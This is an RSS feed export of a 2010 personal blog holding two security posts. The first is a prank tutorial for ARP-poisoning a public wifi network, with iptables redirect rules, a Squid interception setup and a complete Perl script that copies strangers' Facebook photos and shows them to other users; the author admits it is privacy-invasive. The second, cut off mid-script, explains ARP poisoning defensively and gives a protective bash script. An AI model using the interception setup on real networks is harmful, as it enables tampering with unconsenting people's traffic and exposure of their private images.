<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smörgåsbord &#187; security</title>
	<atom:link href="http://smorgasbord.gavagai.nl/tags/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://smorgasbord.gavagai.nl</link>
	<description>Ambachtelijk bereide beschouwingen.</description>
	<lastBuildDate>Fri, 06 Jan 2012 21:30:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Social social networking with Facemix</title>
		<link>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/</link>
		<comments>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 16:50:52 +0000</pubDate>
		<dc:creator>Wicher</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[WWW]]></category>
		<category><![CDATA[aprilfools]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[squid]]></category>
		<category><![CDATA[upsidedownternet]]></category>
		<category><![CDATA[url_rewrite_program]]></category>

		<guid isPermaLink="false">http://smorgasbord.gavagai.nl/?p=1007</guid>
		<description><![CDATA[It&#8217;s not too late for posts about April Fool&#8217;s Day pranks I hope?
In the tradition of the Upsidedownternet this April 1st I had some fun with Facebook addicts.
You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There&#8217;s no authentication &#038; authorisation whatsoever. Handling those in [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s not too late for posts about April Fool&#8217;s Day pranks I hope?<br />
In the tradition of <a href="http://www.ex-parrot.com/pete/upside-down-ternet.html">the Upsidedownternet</a> this April 1st I had some fun with Facebook addicts.</p>
<p>You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There&#8217;s no authentication &#038; authorisation whatsoever. Handling those in a scalable way would ramp up costs. Your privacy is not worth those costs. Contrary to the impression you are trying to deliver through your profile, you are not important. Happy shareholders are important!</p>
<p>Due to this fact I just need to know the URLs of your pictures. From the URL I can determine whether it&#8217;s a profile picture, profile picture thumbnail, photo, photo thumbnail, etc.</p>
<p>Wouldn&#8217;t it be fun to mix the pictures of the facebook page you are currently viewing with those from facebook pages others are viewing? So when you&#8217;re browsing your friend&#8217;s albums, you not only see his pictures but pictures from other peoples&#8217; albums too, and vice versa?<br />
The pictures may be requested by the guy across the bar, or by the girl one floor down in the library, or by anyone on the same network as you are — all of you are browsing together with the people in your physical vicinity, sharing whatever pictures you encounter! It&#8217;s beyond Facebook. It&#8217;s crowdbrowsing. It&#8217;s Megafacebook.<br />
While you may not know these newly inserted friends, you might get to. Maybe you bump into one another at the toilets, or at the counter.<br />
<i>&#8220;Why is everyone staring at me like that?&#8221;</i> you naively wonder. (They&#8217;ve seen those pictures).<br />
<i>&#8220;Does she know that I know about those pictures of her and her friends? But wait&#8230; what might she know about me?&#8221;</i>, your paranoid mind ponders.<br />
It&#8217;s all about what you think of others and what others think of you. Total absorption. Now that&#8217;s what I call social networking. All hail Facebook <b><i>Social!</i></b></p>
<p><a href="http://smorgasbord.gavagai.nl/wp-content/uploads/2010/04/FacebookSocial3.png"><img src="http://smorgasbord.gavagai.nl/wp-content/uploads/2010/04/FacebookSocial3.png" alt="Facebook Social" title="Facebook Social" width="90" height="20" class="aligncenter size-full wp-image-1009" /></a></p>
<p>Give the wifi crowd at your local coffeeshop the pleasure of learning a little bit more about eachothers lives and friends.</p>
<h3>Get to work</h3>
<p>You need:</p>
<ul>
<li>one network vulnerable to ARP poison routing (that&#8217;s most of them) or one network which you already control anyway. Make everyone route their traffic through your machine.
</li>
<li>one installment of the Nginx web server, configured with <code>--with-http_random_index_module</code>. I use the 0.8.3x series.
</li>
<li>one installment of the Squid http proxy server. I use the 3.1 series.
</li>
<li>Perl and LWP::Simple.
</li>
</ul>
<h4>Set up Nginx</h4>
<p>Create some directories to hold the images:<br />
<code><br />
mkdir /var/www/facemix/{albums,photos,photosthumb,smoelen,smoelenthumb}<br />
</code><br />
Tell Nginx to respond to requests for those directories by randomly serving one of the files in them:<br />
<code><br />
        location ~ ^/facemix/([^/]+)(/?.*)$ {<br />
                alias /var/www/facemix/$1/$2;<br />
                random_index on;<br />
                expires -1;<br />
                }<br />
</code><br />
You need the &#8216;expires -1&#8242; to avoid caching. If proxies or user agents were to cache the results, they wouldn&#8217;t be very random anymore now would they.</p>
<p>Stick some files in there and test your installation.</p>
<h4>Set up Squid</h4>
<p>Set up squid in interception mode. If you&#8217;re not NATting the routed traffic, set it to run on port 80. If Nginx is already listening on that socket, make Nginx listen on some other port, or localhost only, while running squid on port 80 but only on the external interface.</p>
<h4>Set up networking</h4>
<p>This is for iptables.</p>
<ul>
<li>You&#8217;re NATting the pwned hosts. Run something along the lines of<br />
<code>iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 80 -j REDIRECT --to-port 8080</code><br />
to redirect all traffic incoming on $INTERFACE and destined for port 80 to port 8080, which is where you need squid to listen on.</li>
<li>You&#8217;re doing 2-way ARP poisoning (cheers!). Run something along the lines of<br />
<code>iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j DNAT --to-destination $YOURIP</code><br />
Squid needs to run on port 80 on interface with IP $YOURIP.
</li>
</ul>
<p>Check Squid&#8217;s logs to verify that requests are intercepted successfully.</p>
<h4>Run the redirection script</h4>
<p>I don&#8217;t touch Perl very often, and cobbling together this script made me remember why that is. It&#8217;s very usable as a means of frightening little kids.<br />
In a nutshell, what my redirector script does is</p>
<ol>
<li>determine whether the URL fed to it by Squid is a facebook picture url;
</li>
<li>if so, and if we don&#8217;t have that picture yet, fork off to download it;
</li>
<li>point Squid to a random picture of the same type (served by Nginx).
</li>
</ol>
<p>I like the forking. I dislike the iffed regexes which could probably be condensed into one but then it wouldn&#8217;t be &#8216;cobbling together&#8217; anymore. </p>
<p>Adjust the variables for your setup and tell Squid about the script (eg <code>url_rewrite_program /usr/local/lib/facemix-squidredir.pl</code>).</p>
<p>The Facebook logo will change to reflect the fact that the users are now browsing facebook in <b><i>Social!</i></b> mode.</p>
<p>One further note: This is privacy-invasive. I brush away my moral doubts by stating that anyone who signed away their privacy rights when joining facebook AND AT THE SAME TIME entertains any expectations with respect to privacy,<br />
« inhale »<br />
&#8230; is utterly mental and has completely lost any and all sense of proportionality. If you care about privacy, why use a service which lets you view <b>any</b> picture of <b>any</b> user <i>regardless</i> of who you are? Who are you kidding?</p>
<p>If you&#8217;re still reading, here&#8217;s the script:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl -w</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> LWP<span style="color: #339933;">::</span><span style="color: #006600;">Simple</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$WEBROOT</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'http://localhost/facemix/'</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$WEBDIR</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'/var/www/facemix/'</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$CHANCE</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">5</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#One in X requests gets mixed</span>
<span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span>CHLD<span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'IGNORE'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$|</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">@reqfrags</span> <span style="color: #339933;">=</span> <span style="color: #000066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/ /</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">@reqfrags</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span>    <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/.*.fbcdn.net\/rsrc.php\/z7VU4\/hash\/66ad7upf.png$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;http://smormedia.gavagai.nl/2010/04/FacebookSocial2.png<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span>    <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_n.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/n.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'photos/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_s.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/s.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'photosthumb/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/.*_n.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/n.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'smoelen/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/.*_q.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/q.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'smoelenthumb/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_a.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/a.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'albums/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">else</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$url</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> mixurl <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">#args: subdir, url</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$vork</span> <span style="color: #339933;">=</span> <span style="color: #000066;">fork</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$vork</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #0000ff;">&amp;getit</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">int</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">rand</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$CHANCE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000066;">print</span> <span style="color: #0000ff;">$WEBROOT</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> getit <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">#args: subdir, url</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$storedir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$WEBDIR</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">@urlfrags</span> <span style="color: #339933;">=</span> <span style="color: #000066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/\//</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #000066;">pop</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@urlfrags</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000066;">stat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      getstore<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #ff0000;">'._tmp-'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066;">rename</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #ff0000;">'._tmp-'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Network security 101: &#8216;Stealth mode&#8217; + ARP cache inoculation</title>
		<link>http://smorgasbord.gavagai.nl/2010/01/network-security-101-stealth-mode-arp-cache-inoculation/</link>
		<comments>http://smorgasbord.gavagai.nl/2010/01/network-security-101-stealth-mode-arp-cache-inoculation/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 19:28:48 +0000</pubDate>
		<dc:creator>Wicher</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Howto]]></category>
		<category><![CDATA[arp spoofing]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://smorgasbord.gavagai.nl/?p=820</guid>
		<description><![CDATA[There are times you need to connect to &#8216;dirty&#8217; networks such as public WiFi hotspots. Hopefully you&#8217;re ensuring that sensitive information is encapsulated in transport layer security enabled protocols such as SSL, because anyone on the same link (in the case of WiFi, that&#8217;s the air surrounding you. A vacuum will do, too, but that&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>There are times you need to connect to &#8216;dirty&#8217; networks such as public WiFi hotspots. Hopefully you&#8217;re ensuring that sensitive information is encapsulated in transport layer security enabled protocols such as SSL, because anyone on the same link (in the case of WiFi, that&#8217;s the air surrounding you. A vacuum will do, too, but that&#8217;s less common) can listen in on the traffic you&#8217;re sending. With SSL encapsulation such as HTTP over SSL (https://), your traffic can still be read — but for those who do it&#8217;s an extremely boring read because they don&#8217;t know the session key, only you and the other endpoint do. Hopefully.</p>
<p>One particularly nasty thing that can happen to you is when your machine is subverted into using the attacker&#8217;s machine as the router.  That is known as <a href="http://en.wikipedia.org/wiki/Arp_poisoning">ARP poison routing</a>. The attacker can proceed to not only read the traffic coming from your machine (which, on a shared medium, could be done anyway), or read the traffic going into your machine (again: on a shared medium, that could be done anyway), but the attacker can now also <em><strong>modify</strong></em> the traffic between you and the rest of the non-local network, e.g., the internet, in both directions. And that&#8217;s when he can really go to town with your traffic. Injecting a <a href="http://code.google.com/p/middler/">javascript keylogger</a> into all the webpages you visit. &#8216;<a href="http://hamster.erratasec.com/help/index.html">Sidejacking</a>&#8216; your sessions, so he does not even need to know your passwords, just your session cookies — which you happen to transmit with every page request.</p>
<p>All possible unless you use transport layer security, which is tamper-proof once properly set up. <em><strong>Once properly set up</strong></em>. But setting up can have problems of itself — there are ways of preventing you ever going from HTTP to HTTPS. If you know a thing or two about HTTP and SSL you&#8217;ll be <a href="http://securitytube.net/Defeating-SSL-using-SSLStrip-%28Marlinspike-Blackhat%29-video.aspx">delighted</a> to learn about</a> Moxie&#8217;s <a href="http://www.thoughtcrime.org/software/sslstrip/">very evil but very clever ways</a> of doing so.</p>
<p>Anyway, some level of security can be achieved if you tell your machine to ignore any messages sent to you from the other machines on the local network. That includes messages that will make your machine believe that the router has suddenly changed its physical address — which is quite unlikely to happen, but those messages are exactly the type of message an impersonator would send you. Of course we&#8217;d need to whitelist the routers of the network, otherwise we can&#8217;t get traffic out of it and onto other networks. DNS resolvers will need whitelisting too, unless you&#8217;re running one on your own machine (probably not).<br />
Not openly announcing your presence may also be something you wish for. If you have ever been on a network with a Mac user you have probably seen them popping up in your Zeroconf service browser as &#8220;Firstname Lastname&#8217;s iSomething&#8221;. Let&#8217;s cut down on that kind of promiscuity, too. But you should understand now that you can not actually hide unless you turn off your WiFi. Shared medium, remember?</p>
<p>I prepared a simple script to accomplish the above. I&#8217;ve used <code>ip</code> from the iproute2 package instead of sticking to old-school <code>route</code>, <code>ifconfig</code>, <code>arp</code> &#038; co. And I must say <code>ip neigh flush nud stale</code> has a poetic ring to it, <a href="http://ars.userfriendly.org/cartoons/?id=20100124">wouldn&#8217;t you agree?</a></p>
<p>Take note: this will only protect you from some kind of attacks, and only partially. An attacker has a window of opportunity between your machine getting assigned a DHCP lease and you running this script, for instance. Or maybe the access point <a href="http://www.viddler.com/explore/hak5/videos/56/">is rigged</a>. Actually all protection other than end-to-end encryption combined with mutual authentication is pretty useless on shared networks ;-)</p>
<p>Here&#8217;s the script. Linux-only. If you want to use it, get the latest version from <a href="http://smormedia.gavagai.nl/dist">my public repository</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># arpshield 0.2</span>
<span style="color: #666666; font-style: italic;"># Protects against ARP poisoning and cloaks your machine for all </span>
<span style="color: #666666; font-style: italic;"># local link devices but the router(s) and the DNS server(s).</span>
<span style="color: #666666; font-style: italic;"># Whitelisting DHCP servers also works if you use the dhcpcd program</span>
<span style="color: #666666; font-style: italic;"># to obtain DHCP leases.</span>
<span style="color: #666666; font-style: italic;"># This program is of no help if your setup is already poisoned.</span>
<span style="color: #666666; font-style: italic;"># Have a look at ArpON (http://arpon.sourceforge.net/manpage.html) if</span>
<span style="color: #666666; font-style: italic;"># you need more extensive protection.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Needs 'ip', 'awk', 'sed', 'arptables', and 'arping' and expects</span>
<span style="color: #666666; font-style: italic;"># them on $PATH. Needs appropriate privileges (so use sudo).</span>
<span style="color: #666666; font-style: italic;"># Takes a network interface as an argument. The network interface</span>
<span style="color: #666666; font-style: italic;"># should be up and configured. If no argument is given, clear all</span>
<span style="color: #666666; font-style: italic;"># rules. Obviously you should do that before connecting to a new</span>
<span style="color: #666666; font-style: italic;"># network.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Copyright 2010 Wicher Minnaard (wicher@gavagai.eu)</span>
<span style="color: #666666; font-style: italic;"># License: Creative Commons Attribution-Share Alike 3.0</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Do you use dhcpcd for aquiring DHCP leases? And is it running?</span>
<span style="color: #007800;">dhcpcdLEASEFILE</span>=<span style="color: #ff0000;">&quot;/var/lib/dhcpcd-<span style="color: #007800;">${1}</span>.info&quot;</span>
<span style="color: #007800;">dhcpcdPIDFILE</span>=<span style="color: #ff0000;">&quot;/var/run/dhcpcd-<span style="color: #007800;">${1}</span>.pid&quot;</span>
<span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-f</span> <span style="color: #800000;">${dhcpcdLEASEFILE}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-f</span> <span style="color: #800000;">${dhcpcdPIDFILE}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #7a0874; font-weight: bold;">source</span> <span style="color: #800000;">${dhcpcdLEASEFILE}</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># In case you lack the luxury of dhcpcd, where is your resolv.conf?</span>
<span style="color: #007800;">RESOLV</span>=<span style="color: #ff0000;">&quot;/etc/resolv.conf&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># No user-servicable parts below this line.</span>
<span style="color: #007800;">DEV</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">${1}</span>&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># I know, I know. But if your routing table contains 0.333.456.789 you have bigger problems ;-)</span>
<span style="color: #007800;">IPREGEX</span>=<span style="color: #ff0000;">&quot;\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Register</span>
<span style="color: #007800;">MACreg</span>=<span style="color: #ff0000;">&quot;&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># If not run as root, bail</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$(id -u)</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;You need root privileges to modify networking parameters. Exiting.&quot;</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">2</span>
&nbsp;
getmac<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #666666; font-style: italic;"># sets MAC register by IP. Sets to nil, if the MAC is not on the local link. </span>
  <span style="color: #007800;">getMAC</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>ip neigh show <span style="color: #800000;">${1}</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'{print $5}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
  <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-z</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${getMAC}</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
